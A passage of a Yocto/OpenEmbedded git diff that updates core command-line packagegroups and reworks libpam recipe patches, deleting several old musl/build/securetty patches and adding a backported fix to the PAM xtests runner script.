- ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dhcp-server", d)} \
+ dhcpcd \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \
diffutils \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \
e2fsprogs \
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index 2d96d1ba38..b66617fbf6 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -10,7 +10,6 @@ inherit packagegroup
PACKAGES = "\
packagegroup-core-full-cmdline \
- packagegroup-core-full-cmdline-libs \
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -19,42 +18,7 @@ PACKAGES = "\
packagegroup-core-full-cmdline-sys-services \
"
-python __anonymous () {
- # For backwards compatibility after rename
- namemap = {}
- namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
- namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
- namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
- namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
- namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
- namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
- namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
- namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
-
- packages = d.getVar("PACKAGES").split()
- for pkg in packages:
- if pkg.endswith('-dev'):
- mapped = namemap.get(pkg[:-4], None)
- if mapped:
- mapped += '-dev'
- elif pkg.endswith('-dbg'):
- mapped = namemap.get(pkg[:-4], None)
- if mapped:
- mapped += '-dbg'
- else:
- mapped = namemap.get(pkg, None)
-
- if mapped:
- oldtaskname = mapped.replace("packagegroup-core", "task-core")
- mapstr = " %s %s" % (mapped, oldtaskname)
- d.appendVar("RPROVIDES_%s" % pkg, mapstr)
- d.appendVar("RREPLACES_%s" % pkg, mapstr)
- d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
-}
-
-
-RDEPENDS_packagegroup-core-full-cmdline = "\
- packagegroup-core-full-cmdline-libs \
+RDEPENDS:packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -63,11 +27,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-sys-services \
"
-RDEPENDS_packagegroup-core-full-cmdline-libs = "\
- glib-2.0 \
- "
-
-RDEPENDS_packagegroup-core-full-cmdline-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-utils = "\
bash \
acl \
attr \
@@ -79,8 +39,8 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
file \
findutils \
gawk \
- gmp \
grep \
+ less \
makedevs \
mc \
mc-fish \
@@ -96,7 +56,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
util-linux \
"
-RDEPENDS_packagegroup-core-full-cmdline-extended = "\
+RDEPENDS:packagegroup-core-full-cmdline-extended = "\
iproute2 \
iputils \
iptables \
@@ -104,7 +64,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
openssl \
"
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
diffutils \
m4 \
make \
@@ -112,7 +72,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
"
VIRTUAL-RUNTIME_syslog ?= "sysklogd"
-RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
+RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_initscripts} \
${VIRTUAL-RUNTIME_init_manager} \
ethtool \
@@ -120,7 +80,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_syslog} \
"
-RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
+RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
bzip2 \
cracklib \
gzip \
@@ -128,7 +88,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
sudo \
"
-RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\
+RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
at \
cronie \
logrotate \
diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
deleted file mode 100644
index c55b648139..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 8 Aug 2015 14:16:43 -0700
-Subject: [PATCH] Add support for defining missing funcitonality
-
-In order to support alternative libc on linux ( musl, bioninc ) etc we
-need to check for glibc-only features and provide alternatives, in this
-list strndupa is first one, when configure detects that its not included
-in system C library then the altrnative implementation from missing.h is
-used
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 3 +++
- libpam/include/missing.h | 12 ++++++++++++
- modules/pam_exec/pam_exec.c | 1 +
- 3 files changed, 16 insertions(+)
- create mode 100644 libpam/include/missing.h
-
-diff --git a/configure.ac b/configure.ac
-index 9e1257f..cbed979 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,6 +599,9 @@ dnl
- AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>])
- AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>])
-
-+# musl and bionic don't have strndupa
-+AC_CHECK_DECLS_ONCE([strndupa])
-+
- HAVE_KEY_MANAGEMENT=0
- if test $have_key_syscalls$have_key_errors = 11
- then
-diff --git a/libpam/include/missing.h b/libpam/include/missing.h
-new file mode 100644
-index 0000000..3cf011c
---- /dev/null
-+++ b/libpam/include/missing.h
-@@ -0,0 +1,12 @@
-+#pragma once
-+
-+#if !HAVE_DECL_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c
-index 17ba6ca..3aa2694 100644
---- a/modules/pam_exec/pam_exec.c
-+++ b/modules/pam_exec/pam_exec.c
-@@ -59,6 +59,7 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
- #include <security/_pam_macros.h>
-+#include <missing.h>
-
- #define ENV_ITEM(n) { (n), #n }
- static struct {
---
-2.1.4
-
diff --git a/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch
new file mode 100644
index 0000000000..40040a873a
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch
@@ -0,0 +1,65 @@
+From e8e8ccfd57e0274b431bc5717bf37c488285b07b Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 27 Oct 2021 10:30:46 +0800
+Subject: [PATCH] run-xtests.sh: check whether files exist
+
+Fixes:
+ # ./run-xtests.sh . tst-pam_access1
+ mv: cannot stat '/etc/security/opasswd': No such file or directory
+ PASS: tst-pam_access1
+ mv: cannot stat '/etc/security/opasswd-pam-xtests': No such file or directory
+ ==================
+ 1 tests passed
+ 0 tests not run
+ ==================
+
+Upstream-Status: Backport [https://github.com/linux-pam/linux-pam/commit/e8e8ccfd57e0274b431bc5717bf37c488285b07b]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ xtests/run-xtests.sh | 20 +++++++++++++-------
+ 1 file changed, 13 insertions(+), 7 deletions(-)
+
+diff --git a/xtests/run-xtests.sh b/xtests/run-xtests.sh
+index 14f585d9..ff9a4dc1 100755
+--- a/xtests/run-xtests.sh
++++ b/xtests/run-xtests.sh
+@@ -18,10 +18,12 @@ all=0
+
+ mkdir -p /etc/security
+ for config in access.conf group.conf time.conf limits.conf ; do
+- cp /etc/security/$config /etc/security/$config-pam-xtests
++ [ -f "/etc/security/$config" ] &&
++ mv /etc/security/$config /etc/security/$config-pam-xtests
+ install -m 644 "${SRCDIR}"/$config /etc/security/$config
+ done
+-mv /etc/security/opasswd /etc/security/opasswd-pam-xtests
++[ -f /etc/security/opasswd ] &&
++ mv /etc/security/opasswd /etc/security/opasswd-pam-xtests
+
+ for testname in $XTESTS ; do
+ for cfg in "${SRCDIR}"/$testname*.pamd ; do
+@@ -47,11 +49,15 @@ for testname in $XTESTS ; do
+ all=`expr $all + 1`
+ rm -f /etc/pam.d/$testname*
+ done
+-mv /etc/security/access.conf-pam-xtests /etc/security/access.conf
+-mv /etc/security/group.conf-pam-xtests /etc/security/group.conf
+-mv /etc/security/time.conf-pam-xtests /etc/security/time.conf
+-mv /etc/security/limits.conf-pam-xtests /etc/security/limits.conf
+-mv /etc/security/opasswd-pam-xtests /etc/security/opasswd
++
++for config in access.conf group.conf time.conf limits.conf opasswd ; do
++ if [ -f "/etc/security/$config-pam-xtests" ]; then
++ mv /etc/security/$config-pam-xtests /etc/security/$config
++ else
++ rm -f /etc/security/$config
++ fi
++done
++
+ if test "$failed" -ne 0; then
+ echo "==================="
+ echo "$failed of $all tests failed"
+--
+2.32.0
+
diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch
deleted file mode 100644
index 917a8af64d..0000000000
--- a/meta/recipes-extended/pam/libpam/crypt_configure.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 24 May 2016 14:11:09 +0300
-Subject: [PATCH] crypt_configure
-
-This patch fixes a case where it find crypt defined in libc (musl) but
-not in specified libraries then it ends up assigning
-LIBCRYPT="-l" which then goes into makefile cause all sort of problems
-e.g.
-
-ld: cannot find -l-m32
-| collect2: error: ld returned 1 exit status
-The reason is that -l appears on commandline with
-out any library and compiler treats the next argument as library name
-whatever it is.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index df39d07..e68d856 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"],
- [crypt_libs="crypt"])
-
- BACKUP_LIBS=$LIBS
--AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="")
-+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"])
- AC_CHECK_FUNCS(crypt_r crypt_gensalt_r)
- LIBS=$BACKUP_LIBS
- AC_SUBST(LIBCRYPT)
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/fixsepbuild.patch b/meta/recipes-extended/pam/libpam/fixsepbuild.patch
deleted file mode 100644
index 8a9c3b2fa1..0000000000
--- a/meta/recipes-extended/pam/libpam/fixsepbuild.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Fix the build error when a separate build directory is used:
-
-Making install in xtestsmake[1]: Entering directory `/media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/build/xtests'/usr/bin/install -c -d /media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/image/usr/share/Linux-PAM/xtestsfor file in run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd tst-pam_dispatch5.pamd tst-pam_cracklib1.pamd tst-pam_cracklib2.pamd tst-pam_unix1.pamd tst-pam_unix2.pamd tst-pam_unix3.pamd tst-pam_unix4.pamd tst-pam_unix1.sh tst-pam_unix2.sh tst-pam_unix3.sh tst-pam_unix4.sh access.conf tst-pam_access1.pamd tst-pam_access1.sh tst-pam_access2.pamd tst-pam_access2.sh tst-pam_access3.pamd tst-pam_access3.sh tst-pam_access4.pamd tst-pam_access4.sh limits.conf tst-pam_limits1.pamd tst-pam_limits1.sh tst-pam_succeed_if1.pamd tst-pam_succeed_if1.sh group.conf tst-pam_group1.pamd tst-pam_group1.sh tst-pam_authfail.pamd tst-pam_authsucceed.pamd tst-pam_substack1.pamd tst-pam_substack1a.pamd tst-pam_substack1.sh tst-pam_substack2.pamd tst-pam_substack2a.pamd tst-pam_substack2.sh tst-pam_substack3.pamd tst-pam_substack3a.pamd tst-pam_substack3.sh tst-pam_substack4.pamd tst-pam_substack4a.pamd tst-pam_substack4.sh tst-pam_substack5.pamd tst-pam_substack5a.pamd tst-pam_substack5.sh tst-pam_assemble_line1.pamd tst-pam_assemble_line1.sh tst-pam_pwhistory1.pamd tst-pam_pwhistory1.sh tst-pam_time1.pamd time.conf ; do \/usr/bin/install -c $file /media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/image/usr/share/Linux-PAM/xtests ; \ done
-/usr/bin/install: cannot stat `run-xtests.sh': No such file or directory
-/usr/bin/install: cannot stat `tst-pam_dispatch1.pamd': No such file or directory
-/usr/bin/install: cannot stat `tst-pam_dispatch2.pamd': No such file or directory
-
-Upstream-Status: Pending
-
-RP 2013/03/21
-
-Index: Linux-PAM-1.1.6/xtests/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/xtests/Makefile.am 2013-03-08 12:26:30.360266000 +0000
-+++ Linux-PAM-1.1.6/xtests/Makefile.am 2013-03-21 11:39:58.557166650 +0000
-@@ -59,7 +59,7 @@
- install_xtests:
- $(INSTALL) -d $(DESTDIR)$(pkgdatadir)/xtests
- for file in $(EXTRA_DIST) ; do \
-- $(INSTALL) $$file $(DESTDIR)$(pkgdatadir)/xtests ; \
-+ $(INSTALL) $(srcdir)/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
- done
- for file in $(XTESTS); do \
- $(INSTALL) .libs/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch
deleted file mode 100644
index e4eb95669b..0000000000
--- a/meta/recipes-extended/pam/libpam/include_paths_header.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-This patch adds missing include for paths.h which should provide
-_PATH_LASTLOG definition
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c
-+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-@@ -23,9 +23,11 @@
- #include <stdarg.h>
- #include <stdio.h>
- #include <string.h>
-+#include <sys/file.h>
- #include <sys/types.h>
- #include <syslog.h>
- #include <unistd.h>
-+#include <paths.h>
-
- #if defined(hpux) || defined(sunos) || defined(solaris)
- # ifndef _PATH_LASTLOG
-@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int
- return retval;
- }
-
-+#ifndef __GLIBC__
-+static void logwtmp(const char * line, const char * name, const char * host)
-+{
-+ struct utmp u;
-+ memset(&u, 0, sizeof(u));
-+
-+ u.ut_pid = getpid();
-+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS;
-+ strncpy(u.ut_line, line, sizeof(u.ut_line));
-+ strncpy(u.ut_name, name, sizeof(u.ut_name));
-+ strncpy(u.ut_host, host, sizeof(u.ut_host));
-+ gettimeofday(&(u.ut_tv), NULL);
-+
-+ updwtmp(_PATH_WTMP, &u);
-+}
-+#endif /* __GLIBC__ */
-+
- static int
- last_login_write(pam_handle_t *pamh, int announce, int last_fd,
- uid_t uid, const char *user)
-Index: Linux-PAM-1.1.6/modules/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/Makefile.am
-+++ Linux-PAM-1.1.6/modules/Makefile.am
-@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de
- pam_group pam_issue pam_keyinit pam_lastlog pam_limits \
- pam_listfile pam_localuser pam_loginuid pam_mail \
- pam_mkhomedir pam_motd pam_namespace pam_nologin \
-- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \
-+ pam_permit pam_pwhistory pam_rootok pam_securetty \
- pam_selinux pam_sepermit pam_shells pam_stress \
- pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \
- pam_tty_audit pam_umask \
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests.patch b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
index 7edf66f915..ea145899b4 100644
--- a/meta/recipes-extended/pam/libpam/libpam-xtests.patch
+++ b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
@@ -28,7 +28,7 @@ Index: Linux-PAM-1.3.0/xtests/Makefile.am
+install_xtests:
+ $(INSTALL) -d $(DESTDIR)$(pkgdatadir)/xtests
+ for file in $(EXTRA_DIST) ; do \
-+ $(INSTALL) $$file $(DESTDIR)$(pkgdatadir)/xtests ; \
++ $(INSTALL) $(srcdir)/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
+ done
+ for file in $(XTESTS); do \
+ $(INSTALL) .libs/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
deleted file mode 100644
index 9b8d4c2975..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
+++ /dev/null
@@ -1,203 +0,0 @@
-Description: extract the securetty logic for use with the "nullok_secure" option
- introduced in the "055_pam_unix_nullok_secure" patch.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-===================================================================
-Index: Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/Makefile.am
-+++ Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-@@ -24,6 +24,10 @@ endif
- securelib_LTLIBRARIES = pam_securetty.la
- pam_securetty_la_LIBADD = $(top_builddir)/libpam/libpam.la
-
-+pam_securetty_la_SOURCES = \
-+ pam_securetty.c \
-+ tty_secure.c
-+
- if ENABLE_REGENERATE_MAN
- noinst_DATA = README
- README: pam_securetty.8.xml
-Index: Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/pam_securetty.c
-+++ Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-@@ -1,7 +1,5 @@
- /* pam_securetty module */
-
--#define SECURETTY_FILE "/etc/securetty"
--#define TTY_PREFIX "/dev/"
- #define CMDLINE_FILE "/proc/cmdline"
- #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active"
-
-@@ -40,6 +38,9 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
- #define PAM_DEBUG_ARG 0x0001
- #define PAM_NOCONSOLE_ARG 0x0002
-
-@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p
- const char *username;
- const char *uttyname;
- const void *void_uttyname;
-- char ttyfileline[256];
-- char ptname[256];
-- struct stat ttyfileinfo;
- struct passwd *user_pwd;
-- FILE *ttyfile;
-
- /* log a trail for debugging */
- if (ctrl & PAM_DEBUG_ARG) {
-@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p
- return PAM_SERVICE_ERR;
- }
-
-- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) {
-- uttyname += sizeof(TTY_PREFIX)-1;
-- }
--
-- if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE);
-- return PAM_SUCCESS; /* for compatibility with old securetty handling,
-- this needs to succeed. But we still log the
-- error. */
-- }
--
-- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-- /* If the file is world writable or is not a
-- normal file, return error */
-- pam_syslog(pamh, LOG_ERR,
-- "%s is either world writable or not a normal file",
-- SECURETTY_FILE);
-- return PAM_AUTH_ERR;
-- }
--
-- ttyfile = fopen(SECURETTY_FILE,"r");
-- if (ttyfile == NULL) { /* Check that we opened it successfully */
-- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-- return PAM_SERVICE_ERR;
-- }
--
-- if (isdigit(uttyname[0])) {
-- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-- } else {
-- ptname[0] = '\0';
-- }
--
-- retval = 1;
--
-- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL)
-- && retval) {
-- if (ttyfileline[strlen(ttyfileline) - 1] == '\n')
-- ttyfileline[strlen(ttyfileline) - 1] = '\0';
--
-- retval = ( strcmp(ttyfileline, uttyname)
-- && (!ptname[0] || strcmp(ptname, uttyname)) );
-- }
-- fclose(ttyfile);
-+ retval = _pammodutil_tty_secure(pamh, uttyname);
-
- if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) {
- FILE *cmdlinefile;
-Index: Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-===================================================================
---- /dev/null
-+++ Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-@@ -0,0 +1,90 @@
-+/*
-+ * A function to determine if a particular line is in /etc/securetty
-+ */
-+
-+
-+#define SECURETTY_FILE "/etc/securetty"
-+#define TTY_PREFIX "/dev/"
-+
-+/* This function taken out of pam_securetty by Sam Hartman
-+ * <hartmans@debian.org>*/
-+/*
-+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software.
-+ * July 25, 1996.
-+ * Slight modifications AGM. 1996/12/3
-+ */
-+
-+#include <unistd.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <security/pam_modules.h>
-+#include <stdarg.h>
-+#include <syslog.h>
-+#include <sys/syslog.h>
-+#include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-+#include <ctype.h>
-+#include <security/pam_modutil.h>
-+#include <security/pam_ext.h>
-+
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
-+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname)
-+{
-+ int retval = PAM_AUTH_ERR;
-+ char ttyfileline[256];
-+ char ptname[256];
-+ struct stat ttyfileinfo;
-+ FILE *ttyfile;
-+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0)
-+ uttyname += sizeof(TTY_PREFIX)-1;
-+
-+ if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m",
-+ SECURETTY_FILE);
-+ return PAM_SUCCESS; /* for compatibility with old securetty handling,
-+ this needs to succeed. But we still log the
-+ error. */
-+ }
-+
-+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-+ /* If the file is world writable or is not a
-+ normal file, return error */
-+ pam_syslog(pamh, LOG_ERR,
-+ "%s is either world writable or not a normal file",
-+ SECURETTY_FILE);
-+ return PAM_AUTH_ERR;
-+ }
-+
-+ ttyfile = fopen(SECURETTY_FILE,"r");
-+ if(ttyfile == NULL) { /* Check that we opened it successfully */
-+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-+ return PAM_SERVICE_ERR;
-+ }
-+
-+ if (isdigit(uttyname[0])) {
-+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-+ } else {
-+ ptname[0] = '\0';
-+ }
-+
-+ retval = 1;
-+
-+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL)
-+ && retval) {
-+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n')
-+ ttyfileline[strlen(ttyfileline) - 1] = '\0';
-+ retval = ( strcmp(ttyfileline,uttyname)
-+ && (!ptname[0] || strcmp(ptname, uttyname)) );
-+ }
-+ fclose(ttyfile);
-+
-+ if(retval) {
-+ retval = PAM_AUTH_ERR;
-+ }
-+
-+ return retval;
-+}
diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
deleted file mode 100644
index d2cc66882e..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
+++ /dev/null
@@ -1,195 +0,0 @@
-From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 25 May 2016 14:12:25 +0300
-Subject: [PATCH] pam_unix: support 'nullok_secure' option
-
-Debian patch to add a new 'nullok_secure' option to pam_unix,
-which accepts users with null passwords only when the applicant is
-connected from a tty listed in /etc/securetty.
-
-Authors: Sam Hartman <hartmans@debian.org>,
- Steve Langasek <vorlon@debian.org>
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- modules/pam_unix/Makefile.am | 3 ++-
- modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++-
- modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++-----
- modules/pam_unix/support.h | 8 ++++++--
- 4 files changed, 61 insertions(+), 9 deletions(-)
-
-diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am
-index 56df178..2bba460 100644
---- a/modules/pam_unix/Makefile.am
-+++ b/modules/pam_unix/Makefile.am
-@@ -30,7 +30,8 @@ if HAVE_VERSIONING
- pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
- endif
- pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \
-- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@
-+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \
-+ ../pam_securetty/tty_secure.lo
-
- securelib_LTLIBRARIES = pam_unix.la
-
-diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml
-index 1b318f1..be0330e 100644
---- a/modules/pam_unix/pam_unix.8.xml
-+++ b/modules/pam_unix/pam_unix.8.xml
-@@ -159,7 +159,24 @@
- <para>
- The default action of this module is to not permit the
- user access to a service if their official password is blank.
-- The <option>nullok</option> argument overrides this default.
-+ The <option>nullok</option> argument overrides this default
-+ and allows any user with a blank password to access the
-+ service.
-+ </para>
-+ </listitem>
-+ </varlistentry>
-+ <varlistentry>
-+ <term>
-+ <option>nullok_secure</option>
-+ </term>
-+ <listitem>
-+ <para>
-+ The default action of this module is to not permit the
-+ user access to a service if their official password is blank.
-+ The <option>nullok_secure</option> argument overrides this
-+ default and allows any user with a blank password to access
-+ the service as long as the value of PAM_TTY is set to one of
-+ the values found in /etc/securetty.
- </para>
- </listitem>
- </varlistentry>
-diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c
-index fc8595e..29e3341 100644
---- a/modules/pam_unix/support.c
-+++ b/modules/pam_unix/support.c
-@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds,
- /* now parse the arguments to this module */
-
- for (; argc-- > 0; ++argv) {
-+ int sl;
-
- D(("pam_unix arg: %s", *argv));
-
- for (j = 0; j < UNIX_CTRLS_; ++j) {
-- if (unix_args[j].token
-- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) {
-- break;
-+ if (unix_args[j].token) {
-+ sl = strlen(unix_args[j].token);
-+ if (unix_args[j].token[sl-1] == '=') {
-+ /* exclude argument from comparison */
-+ if (!strncmp(*argv, unix_args[j].token, sl))
-+ break;
-+ } else {
-+ /* compare full strings */
-+ if (!strcmp(*argv, unix_args[j].token))
-+ break;
-+ }
- }
- }
-
-@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- if (child == 0) {
- static char *envp[] = { NULL };
- const char *args[] = { NULL, NULL, NULL, NULL };
-+ int nullok = off(UNIX__NONULL, ctrl);
-
- /* XXX - should really tidy up PAM here too */
-
-@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- /* exec binary helper */
